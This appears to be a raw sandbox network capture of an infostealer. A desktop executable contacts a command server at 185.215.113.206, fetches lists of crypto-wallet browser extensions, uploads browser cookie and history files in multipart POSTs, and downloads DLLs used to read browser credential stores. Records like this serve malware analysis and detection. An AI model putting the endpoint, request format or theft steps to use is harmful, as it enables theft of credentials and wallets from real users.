Oct 30, 2024 06:16:06.060439110 CET	1236	IN	Data Raw: 5a 32 70 6c 62 57 56 72 5a 57 4a 6b 63 47 56 76 61 32 4a 70 61 32 68 6d 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 46 79 64 47 6c 68 62 69 42 42 63 48 52 76 63 79 42 58 59 57 78 73 5a 58 52 38 5a 57 5a 69 5a 32 78 6e 62 32 5a 76 61 58 42 77 59 6d Data Ascii: Z2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3B
Oct 30, 2024 06:16:06.060450077 CET	1236	IN	Data Raw: 62 47 31 6e 59 57 35 6d 59 57 46 73 61 32 78 69 66 44 46 38 4d 48 77 77 66 45 4e 76 62 57 31 76 62 6b 74 6c 65 58 78 6a 61 47 64 6d 5a 57 5a 71 63 47 4e 76 59 6d 5a 69 62 6e 42 74 61 57 39 72 5a 6d 70 71 59 57 64 73 59 57 68 74 62 6d 52 6c 5a 48 Data Ascii: bG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR
Oct 30, 2024 06:16:06.061201096 CET	1052	IN	Data Raw: 63 47 4e 6e 5a 57 78 76 63 47 64 38 4d 58 77 77 66 44 42 38 51 32 39 74 63 47 46 7a 63 79 42 58 59 57 78 73 5a 58 51 67 5a 6d 39 79 49 46 4e 6c 61 58 78 68 62 6d 39 72 5a 32 31 77 61 47 35 6a 63 47 56 72 61 32 68 6a 62 47 31 70 62 6d 64 77 61 57 Data Ascii: cGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGphY3BrbWpta2NhZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXw
Oct 30, 2024 06:16:06.095868111 CET	470	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJEBGHIEBFIJKECBKFHD Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 45 42 47 48 49 45 42 46 49 4a 4b 45 43 42 4b 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 38 61 33 61 36 32 33 61 37 34 37 30 39 35 31 65 66 62 64 33 38 62 62 64 63 65 37 34 30 39 30 65 39 63 32 30 66 65 62 35 36 66 37 35 33 35 34 64 39 36 31 62 64 61 31 63 36 61 30 65 37 64 63 35 61 32 38 64 38 66 61 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 45 42 47 48 49 45 42 46 49 4a 4b 45 43 42 4b 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 45 42 47 48 49 45 42 46 49 4a 4b 45 43 42 4b 46 48 44 2d 2d 0d 0a Data Ascii: ------HJEBGHIEBFIJKECBKFHDContent-Disposition: form-data; name="token"a8a3a623a7470951efbd38bbdce74090e9c20feb56f75354d961bda1c6a0e7dc5a28d8fa------HJEBGHIEBFIJKECBKFHDContent-Disposition: form-data; name="message"fplugins------HJEBGHIEBFIJKECBKFHD--
Oct 30, 2024 06:16:06.377083063 CET	335	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:16:06 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 30, 2024 06:16:06.395225048 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAFBGDHCBAEHIDGCGIDA Host: 185.215.113.206 Content-Length: 6999 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 06:16:06.395292997 CET	6999	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 41 46 42 47 44 48 43 42 41 45 48 49 44 47 43 47 49 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 38 61 33 61 36 Data Ascii: ------CAFBGDHCBAEHIDGCGIDAContent-Disposition: form-data; name="token"a8a3a623a7470951efbd38bbdce74090e9c20feb56f75354d961bda1c6a0e7dc5a28d8fa------CAFBGDHCBAEHIDGCGIDAContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 30, 2024 06:16:07.196552038 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:16:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 06:16:07.464248896 CET	94	OUT	GET /746f34465cf17784/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 30, 2024 06:16:07.744009018 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:16:07 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 30, 2024 06:16:07.744041920 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49758	185.215.113.206	80	7256	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 06:16:20.852153063 CET	202	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHDBGDHDAECBGDHJKFID Host: 185.215.113.206 Content-Length: 991 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 06:16:20.852186918 CET	991	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 38 61 33 61 36 Data Ascii: ------EHDBGDHDAECBGDHJKFIDContent-Disposition: form-data; name="token"a8a3a623a7470951efbd38bbdce74090e9c20feb56f75354d961bda1c6a0e7dc5a28d8fa------EHDBGDHDAECBGDHJKFIDContent-Disposition: form-data; name="file_name"Y29va2llc1xHb
Oct 30, 2024 06:16:22.252720118 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:16:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 06:16:22.347744942 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHCGIDHDAKJECBFHCBAA Host: 185.215.113.206 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 06:16:22.347889900 CET	1451	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 48 43 47 49 44 48 44 41 4b 4a 45 43 42 46 48 43 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 38 61 33 61 36 Data Ascii: ------DHCGIDHDAKJECBFHCBAAContent-Disposition: form-data; name="token"a8a3a623a7470951efbd38bbdce74090e9c20feb56f75354d961bda1c6a0e7dc5a28d8fa------DHCGIDHDAKJECBFHCBAAContent-Disposition: form-data; name="file_name"aGlzdG9yeVxHb
Oct 30, 2024 06:16:23.124207020 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:16:22 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 06:16:23.140805960 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHDHDGHJEBGIDGDGIJJK Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 44 48 44 47 48 4a 45 42 47 49 44 47 44 47 49 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 38 61 33 61 36 32 33 61 37 34 37 30 39 35 31 65 66 62 64 33 38 62 62 64 63 65 37 34 30 39 30 65 39 63 32 30 66 65 62 35 36 66 37 35 33 35 34 64 39 36 31 62 64 61 31 63 36 61 30 65 37 64 63 35 61 32 38 64 38 66 61 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 48 44 47 48 4a 45 42 47 49 44 47 44 47 49 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 48 44 47 48 4a 45 42 47 49 44 47 44 47 49 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------GHDHDGHJEBGIDGDGIJJKContent-Disposition: form-data; name="token"a8a3a623a7470951efbd38bbdce74090e9c20feb56f75354d961bda1c6a0e7dc5a28d8fa------GHDHDGHJEBGIDGDGIJJKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GHDHDGHJEBGIDGDGIJJKContent-Disposition: form-data; name="file"------GHDHDGHJEBGIDGDGIJJK--
Oct 30, 2024 06:16:23.919317961 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:16:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 06:16:24.695525885 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBAFIDAECBGCBFHJEBGD Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 42 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 38 61 33 61 36 32 33 61 37 34 37 30 39 35 31 65 66 62 64 33 38 62 62 64 63 65 37 34 30 39 30 65 39 63 32 30 66 65 62 35 36 66 37 35 33 35 34 64 39 36 31 62 64 61 31 63 36 61 30 65 37 64 63 35 61 32 38 64 38 66 61 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 42 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 42 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------CBAFIDAECBGCBFHJEBGDContent-Disposition: form-data; name="token"a8a3a623a7470951efbd38bbdce74090e9c20feb56f75354d961bda1c6a0e7dc5a28d8fa------CBAFIDAECBGCBFHJEBGDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CBAFIDAECBGCBFHJEBGDContent-Disposition: form-data; name="file"------CBAFIDAECBGCBFHJEBGD--
Oct 30, 2024 06:16:25.466358900 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:16:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 06:16:25.695070028 CET	94	OUT	GET /746f34465cf17784/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 30, 2024 06:16:25.973468065 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:16:25 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 30, 2024 06:16:25.973486900 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]
Oct 30, 2024 06:16:25.986284018 CET	1236	IN	Data Raw: cc cc cc cc 55 89 e5 53 57 56 68 4f 01 00 00 e8 3f 0b 08 00 83 c4 04 85 c0 74 30 89 c7 89 80 38 01 00 00 83 c7 0f 31 f6 83 e7 f0 74 6b 8b 45 14 8b 55 10 8b 5d 0c 8b 4d 08 85 db 74 1f f2 0f 10 03 f2 0f 11 87 30 01 00 00 eb 25 68 13 e0 ff ff e8 f2 Data Ascii: USWVhO?t081tkEU]Mt0%h1<40jRjjPQWt8^_[]UWVut }jVt8h^_]USWVPL$,M01D$H
Oct 30, 2024 06:16:25.986316919 CET	1236	IN	Data Raw: 0c 89 c1 c1 e9 18 89 4c 24 10 c7 44 24 1c 00 00 00 00 89 44 24 08 c7 44 24 24 00 00 00 00 c7 44 24 20 00 00 00 00 31 d2 31 c9 89 5c 24 28 eb 24 89 c7 8b 44 24 1c 83 c0 01 83 f8 06 8b 54 24 18 8b 4c 24 14 0f 84 e2 01 00 00 89 44 24 1c 8a 44 24 07 Data Ascii: L$D$D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$ L$$\$\$T$1%1%1T$D\|$@\|$t\$
Oct 30, 2024 06:16:25.986346006 CET	1236	IN	Data Raw: 89 d9 0f b6 5d e7 09 d8 89 4d d4 29 c1 09 ca c1 fa 1f f7 db 83 e3 07 31 ff 39 d9 f7 d2 0f 44 fa 89 45 d0 89 45 dc 89 ca f7 da c1 fa 1f f7 d2 8b 45 1c 80 7c 30 f7 01 19 db 09 d3 b8 01 00 00 00 29 c8 c1 f8 1f 8b 55 1c 80 7c 32 f6 01 19 d2 f7 d0 09 Data Ascii: ]M)19DEEE\|0)U\|2!!)]\|3)\|3!)}\|7!!)U\|2)\|2!!)M\|1t/E
Oct 30, 2024 06:16:25.986383915 CET	1236	IN	Data Raw: cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 68 0c 01 00 00 e8 bf fc 07 00 83 c4 04 31 f6 85 c0 74 6c 89 c7 8b 45 08 c7 47 08 00 00 00 00 89 47 04 8b 48 04 ff 15 00 80 0a 10 ff d1 89 07 85 c0 74 31 8b 55 0c 89 f9 ff 75 14 ff 75 10 e8 17 fd ff ff 83 Data Ascii: USWVh1tlEGGHt1Uuut,tGHjSGW:G^_[]USWVUM]u>F9t:NVFMUtHHjWhjV4%t
Oct 30, 2024 06:16:25.986401081 CET	1236	IN	Data Raw: eb b2 66 c7 86 00 01 00 00 00 00 31 f6 eb 12 68 05 e0 ff ff e8 de f7 07 00 83 c4 04 be ff ff ff ff 8b 4d f0 31 e9 e8 29 f6 07 00 89 f0 81 c4 04 01 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 08 01 00 00 a1 b4 Data Ascii: f1hM1)^_[]USWV01Eh1E=s hkhVohh !Vf.@uVuW)9wSuW
Oct 30, 2024 06:16:25.986413956 CET	1236	IN	Data Raw: 04 03 89 45 ec 0f b6 c0 8b 4d f0 8a 14 01 00 d3 88 5d e8 0f b6 f3 89 f9 8b 7d f0 8a 1c 37 8b 7d f0 88 1c 07 89 cf 8b 45 f0 88 14 30 00 d3 0f b6 c3 8b 4d 10 8a 51 02 8b 4d f0 32 14 01 8b 4d d4 8b 45 e4 88 50 02 8b 5d dc 8b 45 d0 8b 55 d8 2b 55 cc Data Ascii: EM]}7}E0MQM2MEP]EU+UUU9)]}1EEMAMfo 1ff}]fn4ff`fafofrfo
Oct 30, 2024 06:16:25.987081051 CET	1236	IN	Data Raw: ec 01 d0 83 c0 04 0f b6 c0 8b 55 f0 0f b6 14 02 00 d1 0f b6 d9 8b 7d f0 8a 34 1f 8b 7d f0 88 34 07 8b 45 f0 88 14 18 8b 5d dc 00 d6 0f b6 c6 8b 55 f0 0f b6 04 02 c1 e0 18 09 f0 8b 75 d8 33 45 d4 8b 55 e8 89 04 13 8b 45 e8 83 c6 fc 83 c0 04 89 75 Data Ascii: U}4}4E]Uu3EUEu}U}]E]E8u40480u}T20ETEuE14^_[]UM
Oct 30, 2024 06:16:29.101913929 CET	94	OUT	GET /746f34465cf17784/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 30, 2024 06:16:29.380084991 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:16:29 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 30, 2024 06:16:30.868294954 CET	95	OUT	GET /746f34465cf17784/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 30, 2024 06:16:31.153099060 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:16:31 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 30, 2024 06:16:31.906263113 CET	91	OUT	GET /746f34465cf17784/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
